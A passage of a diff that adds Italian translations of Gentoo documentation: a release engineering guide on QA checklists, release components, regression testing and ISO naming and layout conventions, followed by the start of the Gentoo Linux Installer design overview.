+ndt) e del Rilascio di Architettura (Architecture Release, ndt) lavoreranno in
+stretto contatto su ogni aspetto del rilascio. Un aspetto critico del processo
+di rilascio è la comunicazione. Se ci sono domande o commenti riguardanti
+qualsiasi parte del processo di rilascio, i Coordinatori del Rilascio di
+Architettura dovranno contattare i Responsabili delle Operazioni di Rilascio, i
+cui indirizzi email possono essere sempre trovati nella <uri
+link="http://www.gentoo.org/proj/en/releng">pagina del progetto Release
+Engineering</uri> (in inglese, ndt). Informazioni specifiche sul rilascio
+possono sempre essere trovate sulla pagina delle informazioni di rilascio, che è
+<e>http://www.gentoo.org/proj/en/releng/release/${relver}/releng/${relver}.xml</e>
+(in inglese, ndt),dove <c>${relver}</c> è la versione del rilascio (es. 2005.1).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Fase di Sviluppo/Controllo Qualità</title>
+<section>
+<title>Processo della Fase di Sviluppo/Controllo Qualità</title>
+<body>
+
+<p>
+I Coordinatori di Rilascio di Architettura spenderanno molto del loro tempo in
+questa fase perchè la fase finale di rilascio prende solo una piccola
+percentuale del tempo impiegato su un rilascio. La differenza di tempo non è
+un'indicazione che il processo finale di rilascio sia meno importante della fase
+di sviluppo/controllo qualità, ma piuttosto una comprensione che molti dei
+Controlli per la Qualità del rilascio saranno fatti nella fase di
+sviluppo/controllo qualità. La fase finale di rilascio ha i propri Controlli
+Qualità necessari che saranno coperti più avanti in questa guida.
+</p>
+
+<p>
+Nell'intera fase di sviluppo/Controllo Qualità si dovranno correggere e chiudere
+i bug, affrontare la lista di Richiesta di funzionalità per l'imminente
+rilascio, e assicurarsi costantemente che il rilascio sia conforme alle linee
+guida del Controllo Qualità disposte dall'Ingegneria di Rilascio. È fortemente
+raccomandato che il Coordinatore di Rilascio di Architettura imposti un ciclo di
+build programmato in modo che i bug e i Controlli Qualità possano essere
+effettivamente gestiti durante l'intero processo. Per esempio, build settimanali
+o bi-settimanali danno al Coordinatore di Rilascio di Architettura un "allarme"
+su cosa stia succedendo con il loro rilascio.
+</p>
+
+<p>
+Durante questa fase, l'Ingegneria di Rilascio è disponibile tutte le volte per
+qualsiasi cosa. Se ci sono domande o preoccupazioni, richieste di hardware o di
+risorse, o qualsiasi altra cosa, si prega di contattare il Responsabile delle
+Operazioni di Rilascio.
+</p>
+
+</body>
+</section>
+<section>
+<title>Linee Guida della fase di Sviluppo/Controllo Qualità</title>
+<body>
+
+<p>
+Le seguente linee guida del Controllo Qualità dovranno essere osservate
+costantemente durante questa fase del rilascio. Fare questo assicurerà che
+l'architettura da rilasciare sarà infatti rilasciata per tempo e completa.
+L'Ingegneria di Rilascio si riserva il diritto di bloccare il rilascio se una
+qualsiasi delle architetture non sia conforme a queste linee guida di Controllo
+Qualità. Questo assicura un aspetto consistente per la distribuzione alla base
+dell'utenza.
+</p>
+
+<table>
+<tr>
+  <th>Linee Guida</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>C'è l'architettura nella lista di rilascio?</ti>
+  <ti>
+    Contattare il Responsabile delle Operazioni di Rilascio se non c'è. La lista
+    di rilascio sarà inviata dal Responsabile delle Operazioni all'inizio del
+    processo di rilascio. È disponibile anche nella pagina delle informazioni
+    di rilascio per il rilascio specificato.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Le funzionalità che sono state progettate nella Roadmap delle funzionalità
+    del rilascio applicabile all'architettura sono state completate?
+  </ti>
+  <ti>
+    Tutte le funzionalità che sono relative all'architettura devono essere
+    complete per il rilascio. Contattare il Responsabile delle Operazioni se ci
+    sono giustificate circostanze che bloccano il completamento di queste
+    funzionalità.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    I pacchetti base applicabili elencati nella pagina delle informazioni di
+    rilascio sono utilizzati?
+  </ti>
+  <ti>
+    Se applicabili all'architettura, certi pacchetti base devono essere
+    utilizzati per mantenere la consistenza.
+  </ti>
+</tr>
+<tr>
+  <ti>La documentazione di Installazione è aggiornata?</ti>
+  <ti>
+    Il Coordinatore di Rilascio di Architettura deve essere sempre in contatto
+    con il Referente per la Documentazione dell'Ingegneria di Rilascio per
+    assicurare che la documentazione rilasciata sia sincronizzata con il
+    rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Tutti i bug del rilascio precedente sono stati risolti in questo rilascio?
+  </ti>
+  <ti>
+    Ripulire il bugzilla dai bug dell'ultimo rilascio. Risolverne quanti più
+    possibile. Lo scopo è la perfezione. I bug saranno assegnati all'alias
+    <c>release@gentoo.org</c>. I bug di un rilascio non dovranno essere marcati
+    come RESOLVED finchè un rilascio con la correzione viene resa disponibile.
+  </ti>
+</tr>
+<tr>
+  <ti>Test di Regressione</ti>
+  <ti>
+    Le immagini dei CD e gli stage compilano e girano come ci si aspetta su
+    ognuna delle sottoarchitetture supportate? Riferirsi alla sezione <uri
+    link="#doc_chap5_sect2">Guida ai Test di Regressione</uri> per istruzioni su
+    come far girare propriamente un test di regressione di Gentoo.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Il Progetto di Documentazione Gentoo (GDP-Gentoo Documentation Project, ndt)
+    ha tutte le informazioni necessarie richieste per la documentazione del
+    rilascio?
+  </ti>
+  <ti>
+    Il GDP richiede una lista di tutti i kernel avviabili di ogni CD avviabile,
+    una lista di tutte le opzioni di avvio di ogni CD avviabile, l'output di
+    <c>find</c> su un CD montato per ogni categoria (sia i CD avviabili che
+    quelli contenenti Pacchetti), e l'output di<c>find</c> su un CD di
+    installazione Universale/Minimale avviato. Le informazioni possono essere
+    inviate al Referente per l'Ingegneria di Rilascio del GDP, che è elencato
+    nella <uri link="http://www.gentoo.org/proj/en/releng">Pagina del Release
+    Engineering Project</uri> (ndt in inglese), o al Responsabile delle
+    Operazioni di Rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    I formati degli specfile dei CD di Installazione e dei Pacchetti sono
+    seguiti?
+  </ti>
+  <ti>
+    I <uri link="#doc_chap5_sect4">formati</uri> per i CD di installazione
+    avviabili e i CD dei pacchetti non avviabili specificano un essenziale
+    gruppo base di pacchetti che mantengono la compatibilità e la consistenza
+    tra tutte le architetture. È essenziale che il gruppo base di pacchetti
+    specificato venga usato.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>La Transizione da Sviluppo/Controllo Qualità a Rilascio Finale</title>
+<section>
+<title>Il Processo di Transizione</title>
+<body>
+
+<p>
+La transizione dalla fase di sviluppo/Controllo Qualità alla fase finale di
+rilascio non può considerarsi interamente definibile da una data. La transizione
+ha luogo quando le linee guida del Controllo Qualità per la fase di
+sviluppo/Controllo Qualità sono state conseguite pienamente. In quel momento,
+l'architettura da rilasciare è pronta per lo spostamento alla fase finale di
+rilascio.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>La Fase Finale di Rilascio</title>
+<section>
+<title>Il Processo Finale di Rilascio</title>
+<body>
+
+<p>
+La fase finale di rilascio del processo di rilascio è la parte più raffinata di
+tutto ciò che si è fatto fino a questo punto. Lo scopo finale di questa fase è
+avere i componenti di rilascio di alta qualità sul principale mirror almeno
+cinque giorni prima della data di rilascio così che i componenti di rilascio
+abbiano abbastanza tempo per essere organizzati, o propagati, sugli altri
+mirror.
+</p>
+
+<p>
+La lista di controllo finale del Controllo Qualità consiste nei seguenti punti:
+</p>
+
+<table>
+<tr>
+  <th>Linee Guida</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>
+    I requisiti della lista di controllo della fase di sviluppo/Controllo
+    Qualità sono completi?
+  </ti>
+  <ti>
+    Tutti i requisiti specificati nella lista di controllo della fase di
+    sviluppo/Controllo Qualità sono completi, come specificati e in forma
+    corretta?
+  </ti>
+</tr>
+<tr>
+  <ti>Tutti i componenti necessari per il rilascio sono presenti?</ti>
+  <ti>
+    Si prega di fare riferimento alla <uri link="#doc_chap5_sect1">lista</uri>
+    dei componenti necessari per il rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>Layout</ti>
+  <ti>
+    I CD di Installazione,i CD dei Pacchetti, e gli stage sono tutti conformi
+    alle <uri link="#doc_chap5_sect3">convenzioni nelle attribuzioni dei nomi e
+    di layout</uri> impostate dall'Ingegneria di Rilascio?
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Le note di rilascio sono in forma corretta e disponibili sia online che nel
+    CD di Installazione?
+  </ti>
+  <ti>
+    Assicurarsi che le note di rilascio siano presenti nelle posizioni
+    specificate dalla convenzione di <uri link="#doc_chap5_sect3">layout</uri>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Quando il Coordinatore del Rilascio di Architettura ritiene che i propri
+componenti di rilascio soddisfino o superino le linee guida del Controllo
+qualità, li caricherà sulla macchina temporanea dell'Ingegneria di Rilascio e
+informerà l'Ingegneria di Rilascio in modo che il processo di approvazione
+finale possa iniziare. L'approvazione finale dall'Ingegneria di Rilascio
+consiste nel riesaminare punto per punto la lista di controllo finale di
+Controllo Qualità e un controllo del digest di ogni componente del rilascio.
+Supponendo che i componenti del rilascio passino l'approvazione finale
+dall'Ingegneria di Rilascio, saranno firmati dalla chiave GPG dell'Ingegneria di
+Rilascio, e posizionati nell'appropriata locazione che si trova nella macchina
+dell'Ingegneria di Rilascio per dare spazio al Referente per l'Infrastruttura
+di Rilascio per la propagazione al mirror principale.
+</p>
+
+<p>
+Solo quando i componenti di rilascio soddisfano sia il Controllo Qualità della
+fase di sviluppo/Controllo Qualità che i Controlli Qualità finali, essi saranno
+caricati sui mirror per essere rilasciati. Se un qualsiasi componente non è a
+posto, l'Ingegneria di Rilascio lavorerà con il Coordinatore del Rilascio di
+Architettura per riparare il componente difettoso. Per avere un rilascio
+puntuale, è imperativo che il Coordinatore del Rilascio di Architettura si
+assicuri che tutti i Controlli Qualità siano soddisfatti prima dell'approvazione
+dell'Ingegneria di Rilascio. L'approvazione dell'Ingegneria di Rilascio dovrà
+essere l'ultimo controllo a cui i componenti sono sottoposti, non il primo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<title>Componenti Necessari per un Rilascio</title>
+<body>
+
+<p>
+I seguenti componenti sono necessari per un rilascio ufficiale:
+</p>
+
+<table>
+<tr>
+  <th>Componenti</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>CD di Installazione Avviabili</ti>
+  <ti>
+    Questo include sia l'immagine del CD di Installazione Universale che quella
+    Minimale che gli utenti possono usare per avviare una vasta varietà di
+    hardware per lo scopo finale di installare Gentoo Linux. Ci sono due
+    tipologie per i CD di Installazione avviabile, quello Universale e quello
+    Minimale. Un CD di installazione Universale contiene un insieme di stage3
+    per tutte le sottoarchitetture supportate così come i distfile necessari
+    all'installazione da stage3 senza una connessione di rete. Un CD di
+    Installazione Minimale contiene solamente i componenti necessari per avviare
+    un sistema. Fare riferimento alle specifiche di <uri
+    link="#doc_chap5_sect3">layout</uri> e al <uri
+    link="#doc_chap5_sect4">formato</uri> dello specfile di Catalyst per il
+    layout richiesto e ai pacchetti base di entrambi i CD. Entrambe le immagini
+    sono necessarie per un rilascio ufficiale.
+  </ti>
+</tr>
+<tr>
+  <ti>CD dei Pacchetti</ti>
+  <ti>
+    Un CD non avviabile che contiene un insieme di pacchetti Gentoo Reference
+    Platform (GRP) usati per un'installazione senza collegamento alla rete. Un
+    utente non deve aver bisogno di una connessione a Internet per installare
+    quando si usa questo disco. Prego riferirsi alle specifiche di <uri
+    link="#doc_chap5_sect3">layout</uri> per il layout del CD dei Pacchetti, e
+    al <uri link="#doc_chap5_sect4">formato</uri> dello specfile di Catalyst per
+    una lista dei pacchetti richiesti.
+  </ti>
+</tr>
+<tr>
+  <ti>CD Live Avviabile</ti>
+  <ti>
+    Un'Immagine di un CD Live avviabile con l'Installer Gentoo Linux può essere
+    un sostituto per l'esigenza di un CD di Installazione Universale e un CD dei
+    Pacchetti. Questo è il solo caso nel quale un CD di Installazione Universale
+    e un CD dei Pacchetti possono non essere presenti in un rilascio di una data
+    architettura pur considerandola completa e ufficiale.
+  </ti>
+</tr>
+<tr>
+  <ti>Stage di Installazione</ti>
+  <ti>
+    Gli archivi degli Stage 1, 2, e 3 possono essere usati per installare Gentoo
+    Linux.
+  </ti>
+</tr>
+<tr>
+  <ti>Note di Rilascio</ti>
+  <ti>
+    Le Note che seguono il formato specificato dall'Ingegneria di Rilascio che
+    particolareggiano aspetti importanti riguardanti il rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>DIGEST e CONTENTS (contenuti, ndt)</ti>
+  <ti>
+    È necessario che sia l'hash MD5 che quello SHA1 vengano generati per tutti i
+    supporti di rilascio. Questi hash sono creati automaticamente da catalyst, e
+    devono essere inclusi nel supporto. Un file CONTENTS deve essere generato
+    per i seguenti supporti: CD di Installazione Minimale (avviato), CD di
+    Installazione Universale (sia avviato che non avviato), CD dei Pacchetti,
+    e CD Live.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Guida ai Test di Regressione</title>
+<body>
+
+<p>
+I test di Regressione sono un aspetto chiave del Controllo Qualità. Il processo
+dei test di regressione è svolto facendo girare un insieme completo di test che
+emulano scenari di mondo reale. Fare i test di regressione non è necessariamente
+difficile, ma impiega molto tempo. Una buona porzione del processo di rilascio
+deve esser spesa facendo i test di regressione in quanto è il modo migliore per
+identificare bug ed errori di scrittura.
+</p>
+
+<p>
+La procedura dei test di regressione è piuttosto diretta. Per ogni CD di
+Installazione/CD Live, seguire le istruzioni di installazione alla lettera. Una
+volta completa, provare una completa installazione GRP usando il Manuale di
+Installazione. Una volta completa, riavviare il processo usando una differente
+sottoarchitettura o insieme di GRP. Lo scopo è percorrere il Manuale di
+Installazione tante più volte possibile. Più è la casualità introdotta dai
+pacchetti, dai metodi e sottoarchitetture, maggiori sono le possibilità che i
+bug siano identificati prima del rilascio finale.
+</p>
+
+</body>
+</section>
+<section>
+<title>Convenzioni nell'Attribuzione dei Nomi e Layout dei CD di
+Installazione/CD Live/CD dei Pacchetti
+</title>
+<body>
+
+<p>
+CD di Installazione/CD Live/CD dei Pacchetti e gli stage devono aderire alle
+seguenti convenzioni sull'attribuzione dei nomi, dove <c>${arch}</c> è la
+principale architettura, <c>${subarch}</c> è la sottoarchitettura,
+<c>${reltype}</c> è uno speciale identificatore di tipo, e <c>${relver}</c> è il
+numero di versione del rilascio.
+</p>
+
+<table>
+<tr>
+  <th>Nome del Componente</th>
+  <th>Convenzione di Attribuzione Nome</th>
+  <th>Esempio</th>
+</tr>
+<tr>
+  <ti>CD di Installazione Universale Avviabile</ti>
+  <ti>install-${arch}-universal-${relver}.iso</ti>
+  <ti>install-x86-universal-2005.1.iso</ti>
+</tr>
+<tr>
+  <ti>CD di Installazione Minimale Avviabile</ti>
+  <ti>install-${arch}-minimal-${relver}.iso</ti>
+  <ti>install-alpha-minimal-2005.1.iso</ti>
+</tr>
+<tr>
+  <ti>CD Live Avviabile</ti>
+  <ti>livecd-${arch}-${relver}.iso</ti>
+  <ti>livecd-x86-2005.1.iso</ti>
+</tr>
+<tr>
+  <ti>CD dei Pacchetti</ti>
+  <ti>packages-${subarch}-${relver}.iso</ti>
+  <ti>packages-pentium4-2005.1.iso</ti>
+</tr>
+<tr>
+  <ti>Stage di Installazione</ti>
+  <ti>stage{1,2,3}-${subarch}-${relver}.tar.bz2</ti>
+  <ti>stage3-ppc-2005.1.tar.bz2</ti>
+</tr>
+<tr>
+  <ti>
+    Gli Stage di Installazione che sono di differente tipo di rilascio, come
+    quelli hardened o quelli selinux.
+  </ti>
+  <ti>stage{1,2,3}-${subarch}-${reltype}-${relver}.tar.bz2</ti>
+  <ti>stage2-athlon-xp-selinux-2004.0.tar.bz2</ti>
+</tr>
+<tr>
+  <ti>Note di Rilascio</ti>
+  <ti>${arch}-release-notes.xml</ti>
+  <ti>
+    sparc-release-notes.xml, situato nel CVS a
+    gentoo/xml/htdocs/proj/en/releng/release/${relver}/${arch} (in inglese, ndt)
+    Il formato corrente e i tool di autogenerazione possono essere trovati nel
+    CVS a gentoo/src/relnotes.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Il CD di installazione Universale Avviabile deve aderire al seguente standard
+di layout:</b>
+</p>
+
+<table>
+<tr>
+  <th>Directory</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>/distfiles</ti>
+  <ti>
+    Directory dove tutti i distfile necessari sono immagazzinati per installare
+    da un archivio stage3 senza connessione di rete.
+  </ti>
+</tr>
+<tr>
+  <ti>/docs</ti>
+  <ti>
+    Directory dove risiedono le note di rilascio e il Manuale. Il Manuale ha la
+    propria struttura di directory,<path>/docs/handbook/{html,pdf,txt}</path>,
+    poichè ogni sottodirectory sta al posto del rispettivo formato del Manuale.
+    Le versioni finali sia delle note di rilascio sia del Manuale saranno
+    linkate nella pagina delle informazioni di rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>/boot (/isolinux on x86/amd64)</ti>
+  <ti>Directory autogenerata per il bootloader.</ti>
+</tr>
+<tr>
+  <ti>/snapshots</ti>
+  <ti>
+    Directory contenente la snapshot usata per compilare i componenti di
+    rilascio.
+  </ti>
+</tr>
+<tr>
+  <ti>/stages</ti>
+  <ti>
+    Directory contenente gli archivi di stage3 per ogni sottoarchitettura
+    supportata.
+  </ti>
+</tr>
+<tr>
+  <ti>/zisofs (facoltativa)</ti>
+  <ti>
+    Directory autogenerata per il runtime di zisofs. Applicabile solamente alle
+    architetture che usano lo schema di compressione zisofs. Considerare l'uso
+    di zisofs solamente se squashfs non è disponibile per l'architettura a causa
+    di problemi tecnici, come kernel panic.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Il CD di Installazione Minimale avviabile deve aderire al seguente standard
+di layout:</b>
+</p>
+
+<table>
+<tr>
+  <th>Directory</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>/boot (/isolinux on x86/amd64)</ti>
+  <ti>Directory autogenerata per il bootloader.</ti>
+</tr>
+<tr>
+  <ti>/zisofs (facoltativa)</ti>
+  <ti>
+    Directory autogenerata per il runtime di zisofs. Applicabile solamente alle
+    architetture che usano lo schema di compressione zisofs. Considerare l'uso
+    di zisofs solamente se squashfs non è disponibile per l'architettura a causa
+    di problemi tecnici, come kernel panic.
+  </ti>
+</tr>
+</table>
+
+<p>
+Entrambi i CD di Installazione possono usare un'ampia varietà di kernel per
+assicurare la compatibilità all'utente. I kernel saranno chiamati
+<c>gentoo-${kver}-${special_opt}</c>, dove <c>${kver}</c> è la principale
+versione del kernel, come 2.6, e <c>${special_opt}</c> è un identificativo
+speciale e opzionale, come nofb. Un esempio di un nome di kernel con un
+identificativo speciale sarà<c>gentoo-2.6-nofb</c>.
+</p>
+
+<p>
+Entrambi i CD di Installazione avviabili conterranno uno standard <c>motd</c>
+(Messaggio del Giorno) nel filesystem avviato sul CD. Il motd sarà la prima cosa
+che un utente vedrà dopo aver ottenuto un prompt del loro ambiente del CD, e
+conterrà importanti informazioni. Questo file è generato da catalyst.
+</p>
+
+<p>
+<b>Il CD dei Pacchetti deve aderire al seguente standard di layout:</b>
+</p>
+
+<table>
+<tr>
+  <th>Directory</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>/${categoria}/${pacchetto}</ti>
+  <ti>
+    Il CD dei Pacchetti sarà fatto nello stesso modo di
+    <path>/usr/portage/packages</path>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Il comando per creare la iso del CD dei Pacchetti è:
+</p>
+
+<pre caption="Package CD">
+# <i>cd grp-${subarch}-${relver}/cd2</i>
+# <i>mkisofs -R -J -l -V "${subarch} Packages" -o ../packages-${subarch}-${relver}.iso .</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Formato degli Specfile di Catalyst del CD Live e del CD dei
+Pacchetti</title>
+<body>
+
+<p>
+<uri link="livecd-stage1_template.spec.txt">Formato</uri>dello specfile di
+Catalyst livecd-stage1 sia per i CD di Installazione Universali avviabili che
+per quelli Minimali.
+</p>
+
+<p>
+<uri link="livecd-stage2_template.spec.txt">Formato</uri>dello specfile di
+Catalyst livecd-stage2 sia per i CD di Installazione Universali avviabili che
+per quelli Minimali.
+</p>
+
+<p>
+<uri link="packagecd_template.spec.txt">Formato</uri>dello specfile di Catalyst
+per il CD dei Pacchetti.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/releng/installer/design.xml b/xml/htdocs/proj/it/releng/installer/design.xml
new file mode 100644
index 00000000..8128a62b
--- /dev/null
+++ b/xml/htdocs/proj/it/releng/installer/design.xml
@@ -0,0 +1,424 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/releng/installer/design.xml,v 1.2 2008/03/06 12:46:08 scen Exp $ -->
+
+<guide link="/proj/it/releng/installer/design.xml" lang="it">
+<title>Gentoo Linux Installer</title>
+
+<author title="Autore">
+  <mail link="esammer@gentoo.org">Eric Sammer</mail>
+</author>
+<author title="Redazione">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+<abstract>
+Una introduzione al progetto Gentoo Linux Installer in cui si discute il suo
+scopo, la struttura del progetto e si espongono i partecipanti.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2004-01-29</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Al momento, Gentoo non dispone di un installer guidato (dove, per installer, si
+intende un sistema che accompagna l'utente passo dopo passo nell'installazione).
+Un buon numero di utenti ha espresso interesse verso un qualche tipo di
+applicazione che alleggerisca l'attuale processo di installazione. Molti utenti
+nuovi di Gentoo o Linux in generale, vengono intimoriti dal processo di
+installazione e perfino con una forte certezza di avere supporto ed una
+eccellente documentazione, sono riluttanti al provare. Alcuni utenti hanno
+dichiarato che questa è la sola ragione per cui non sono mai passati o non hanno
+mai ancora provato Gentoo. Il processo attuale sarà ancora disponibile per
+coloro che sceglieranno di usarlo.
+</p>
+
+<p>
+Il progetto Gentoo Linux Installer mira a realizzare una piattaforma di
+installazione a norma per sistemi sia desktop che server. In genere, l'obiettivo
+di un installer è la consistenza fra diverse architetture, usabilità per tutti
+gli utenti, e flessibilità. La sezione sulle caratteristiche fornirà uno sguardo
+d'insieme più approfondito sulle specifiche, ma è sufficiente dire che sarà per
+tutti gli utenti, aventi ogni livello di esperienza, per tutti gli ambienti.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Caratteristiche</title>
+<section>
+<body>
+
+<p>
+Di seguito è fornita una lista di caratteristiche che saranno presenti
+nell'installer. Anche se non è una lista esaustiva, dovrebbe dare un'idea
+migliore di cosa sarà possibile. Non tutte queste caratteristiche sono ad uso e
+consumo di tutti gli utenti, ma l'idea è quella di fornire qualcosa di
+consistente per tutti gli utenti così da tenere la logica di "se non è per me,
+per qualcun'altro" ben salda in testa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interfacce d'accesso multiple</title>
+<body>
+
+<p>
+L'installer avrà interfacce utente intercambiabili di cui alcune saranno perfino
+grafiche e destinate ad X. Dato che alcune piattaforme sono più comunemente
+installate con mezzi che non supportano X windows (impianti Sun serial console,
+ecc.) verrà sviluppata anche un'interfaccia testuale. Gli utenti saranno liberi
+di sviluppare interfacce utente (di ogni tipo) come loro ritengono adatte, ma
+per scopi di manutenzione, solo una basata su testo e una grafica verranno
+ufficialmente supportate inizialmente.
+</p>
+
+</body>
+</section>
+<section>
+<title>Framework di base riutilizzabile</title>
+<body>
+
+<p>
+L'attuale cavallo di battaglia dell'installer sarà un insieme di API che
+verranno invocate da coloro che ne hanno bisogno. Per mantenere una separazione
+netta e chiara fra funzionalità e interfaccia utente, per ogni strumento sarà
+definita una piattaforma generica che mira al controllo dell'installazione di un
+sistema Gentoo. Questo promuove anche una consistenza forte tra tutte le
+piattaforme e gli ambienti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deployment automatizzato</title>
+<body>
+
+<p>
+L'installer supporterà il deployment automatico (il deployment consiste
+nell'aggiunta / inserimento corretto di un elemento in un dato sistema,
+letteralmente "schieramento", ma si userà di seguito il termine inglese) tramite
+l'uso di profili di installazione pre-configurati. Ciò permetterà una facile
+installazione in grandi ambienti con hardware simile o in situazioni dove si
+vuole mettere da parte un backup dei parametri di una prima installazione su una
+propria macchina per un eventuale recupero. Il profilo d'installazione conterrà
+tutti i dati richiesti per "replicare" un'installazione (per esempio cflag, use
+flag, schema di partizionamento, pacchetti installati conseguentemente, etc.).
+</p>
+
+</body>
+</section>
+<section>
+<title>Prove generali per la generazione del profilo</title>
+<body>
+
+<p>
+Gli utenti potranno creare profili di'installazione passando attraverso
+l'installer senza seguire i passi esposti al momento. Tutti i dati generati
+dalle azioni degli utenti saranno serializzati in un profilo di installazione
+(rappresentato come documento XML) che potrà essere usato in seguito per il
+deployment automatico.
+</p>
+
+</body>
+</section>
+<section>
+<title>Supporto completo per tutte le architetture di Gentoo</title>
+<body>
+
+<p>
+Come requisito, tutte le architetture supportate da Gentoo saranno supportate
+anche dal progetto per l'installer di tale sistema. Sono incluse, ma non sono le
+uniche, x86, ppc, sparc, alpha, amd64, mips, hppa, e itanium. (L'unica notevole
+eccezione sono i sistemi embedded. Ciò è dovuto alla presenza di ambienti
+altamente specializzati che l'installer potrebbe non essere in grado di
+soddisfare.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Profili specializzati</title>
+<body>
+
+<p>
+Profili specializzati come SELinux saranno supportati allo stesso modo delle
+architetture tradizionali (basate su processore). Questi profili specializzati
+supporteranno le caratteristiche aggiuntive e i requisiti dei loro rispettivi
+processi di installazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Politiche aperte e uso di standard</title>
+<body>
+
+<p>
+Quando possibile, l'installer userà formati aperti e standard così da interagire
+meglio con altri strumenti sviluppati dagli utenti. Sono inclusi formati dei
+file (XML), protocolli di rete, e altre cose di questo tipo. Particolare
+attenzione sarà riposta per non escludere l'uso di strumenti alternativi e
+utilità varie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Integrazione con progetti di configurazione futuri</title>
+<body>
+
+<p>
+Dove possibile, l'installer si integrerà con mezzi di configurazione specifici
+del sistema Gentoo e utilità per facilitare l'organizzazione post-installazione
+e la configurazione di macchine. Potrebbe essere incluso anche il supporto per
+strumenti non specifici di Gentoo come cfengine.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Progetto e Struttura</title>
+<section>
+<body>
+
+<p>
+La struttura dell'installer deve essere abbastanza generica da supportare le
+caratteristiche di cui sopra ma anche non astrarre troppo dal sistema così da
+rendere difficili compiti semplici o necessitare di alta manutenzione.
+</p>
+
+<p>
+Pochi requisiti di progetto sono stati indicati:
+</p>
+
+<ul>
+  <li>
+    Devono essere supportate interfacce utente multiple (gestione e supporto
+    di viste astratte)
+  </li>
+  <li>
+    Deve essere mantenuta una separazione completa fra modello, vista e
+    controllore della logica
+  </li>
+  <li>
+    Tutte le caratteristiche devono essere supportate indipendentemente
+    dall'interfaccia esposta e/o dall'architettura
+  </li>
+  <li>Il deployment automatico deve essere sempre possibile</li>
+</ul>
+
+<p>
+Per ottenere ciò, la piattaforma dell'installer (con la quale si fa riferimento
+all'intero sistema) è suddivisa in tre parti principali.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interfaccia d'accesso o front-end (Client)</title>
+<body>
+
+<p>
+Il client rappresenta l'interfaccia utente del sistema. Contiene la logica e il
+supporto per tutte le interfacce utente. Inoltre, informazioni di stato meno
+rilevanti riguardo configurazioni temporanee del client stesso, incluso
+argomenti da riga di comando, impostazioni d'ambiente, metodo di invocazione
+(interattivo / non-interattivo), posizione dei log, indirizzi (URI) dei server
+contenenti i pacchetti binari, e altro ancora. Alcune di queste impostazioni
+saranno "interne" all'installazione, ma molte altre no.
+</p>
+
+<p>
+L'utente sarà in grado di usare la propria interfaccia preferita per generare i
+profili di installazione da usare per il seguente deployment, e nel rispetto di
+quanto detto questo lo si può pensare come un sistema di generazione del
+profilo.
+</p>
+
+<p>
+Il client può anche integrarsi con le configurazioni degli strumenti di sistema
+in un secondo momento.
+</p>
+
+<p>
+In genere, il client è "stupido" e non ha idea dell'implementazione logica
+dell'attuale processo di installazione, anche se saranno presenti alcune logiche
+per architetture specifiche.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dietro le quinte o back-end (API o framework)</title>
+<body>
+
+<p>
+La parte più gustosa dell'installer è un insieme di API orientate agli oggetti
+che permettono di astrarre dai comandi che ad oggi vengono eseguiti per
+installare il sistema. Il framework è un po' più astratto nel senso che il suo
+comportamento è dipendente dal modello architetturale utilizzato al momento. Il
+numero di prudenti passi impiegati dipende molto dai requisiti e
+dall'implementazione del modello architetturale (un file XML che ha una natura
+simile alle informazioni contenute in /etc/make.profile di Portage).
+</p>
+
+<p>
+Dato che il framework è nascosto dal client, può essere usato per
+l'installazione personalizzata di prodotti sviluppati dall'utente. Le categorie
+principali sono le seguenti:
+</p>
+
+<ul>
+  <li>
+    Una classe controllore che stabilisce, basandosi sul modello
+    dell'architettura (un file XML), quali passi compiere e in quale ordine.
+    Questo è il cuore di tutta la logica.
+  </li>
+  <li>
+    Ua classe per il profilo di installazione che mantiene tutte le informazioni
+    del processo di installazione come schema di partizionamento, cflag, use
+    flag, e altri dati di questo tipo. Questa classe può serializzarsi in un
+    file XML (cioè trascriversi di fatto su un file) che può venire poi messo
+    su un server per il deployment automatico per usi futuri.
+  </li>
+</ul>
+
+<p>
+Altre classi minori possono essere usate per il supporto intermedio, ma queste
